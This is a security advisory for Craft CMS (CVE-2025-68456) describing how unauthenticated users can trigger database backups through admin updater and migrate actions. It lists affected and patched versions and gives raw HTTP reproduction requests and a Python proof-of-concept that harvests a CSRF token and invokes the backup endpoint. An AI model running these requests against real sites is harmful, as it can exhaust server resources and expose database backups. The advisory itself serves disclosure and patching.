Skip to content

Unauthenticated users can trigger a database backup

Moderate
angrybrad published GHSA-v64r-7wg9-23pr Jan 3, 2026

Package

composer craftcms/cms (Composer)

Affected versions

>= 5.0.0-RC1, <= 5.8.20
>= 3.0.0, <= 4.16.16

Patched versions

5.8.21
4.16.17

Description

Unauthenticated users can trigger database backup operations via specific admin actions, potentially leading to resource exhaustion or information disclosure.

Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.

Craft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.

References:

f83d4e0

https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04

Affected Endpoints

  • POST /admin/actions/app/migrate (unauthenticated)
  • POST /admin/actions/updater/backup

Vulnerability Details

Root Cause

Certain admin actions are explicitly configured with anonymous access:

// AppController.php
protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
    // ...
];

// BaseUpdaterController.php  
protected array|bool|int $allowAnonymous = self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE;

Attack Vector

  1. Send unauthenticated POST request to /admin/actions/app/migrate
  2. If backupOnUpdate is enabled, triggers Craft::$app->getDb()->backup()
  3. Database backup executes with configured backupCommand

Reproduction Steps

Prerequisites

  • CraftCMS 5.8.19 installation
  • Database backups enabled (backupOnUpdate => true in config)
  • Target accessible via HTTP

Step-by-Step Reproduction

  1. I sent a GET request to:

https://host/admin/login

  1. I copied the CRAFT_CSRF_TOKEN from the Set-Cookie header as well as the csrfTokenValue included in the response body.

  2. I used those values in the following request to trigger the updater initialization:

   POST /admin/actions/updater/index HTTP/1.1
   Host: host
   Cookie: CRAFT_CSRF_TOKEN=xxxxxx
   Content-Type: application/x-www-form-urlencoded

   CRAFT_CSRF_TOKEN=xxxxxxxxx
  1. After this, I examined the response and found the dynamically generated sign key embedded inside:
   Craft.Updater("updater").setState({
       "status": "Nothing to update.",
       "finished": true,
       "returnUrl": "dashboard",
       "data": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx{\"migrate\":[]}"
   })
  1. I then used that extracted data value to perform a database backup by issuing:
   POST /admin/actions/updater/backup HTTP/1.1
   Host: host
   Cookie: CRAFT_CSRF_TOKEN=xxxx
   Content-Type: application/x-www-form-urlencoded

   CRAFT_CSRF_TOKEN=xxxxxx&data=xxxxxxxxxxxxxxxxxxxxxxxxxx%7B%22migrate%22%3A%5B%5D%7D
  1. The server responded successfully, initiating a database backup and returning the backup path:
   {
       "nextAction": "migrate",
       "status": "Updating database…",
       "data": "582c1863...{\"migrate\":[],\"dbBackupPath\":\"/home/xxxxx/host/craft-cms/storage/backups/sendbird--2025-11-14-142917--v4.15.0.2.sql\"}"
   }

Expected Results

  • Success: Database backup initiated (check server logs for backup activity)
  • Resource Impact: High CPU/disk usage during backup
  • Potential RCE: If backupCommand is configured with shell commands

Proof of Concept Code

import requests
import re

TARGET = "http://192.168.100.46:8080"
session = requests.Session()

# Get CSRF token
r = session.get(f"{TARGET}/admin/login")
csrf = re.search(r'name="CRAFT_CSRF_TOKEN" value="([^"]+)"', r.text).group(1)

# Trigger backup
r = session.post(f"{TARGET}/admin/actions/app/migrate", 
                data={"applyProjectConfigChanges": "false"})
print(f"Backup triggered: {r.content}")

Severity

Moderate

CVE ID

CVE-2025-68456

Weaknesses

No CWEs

Credits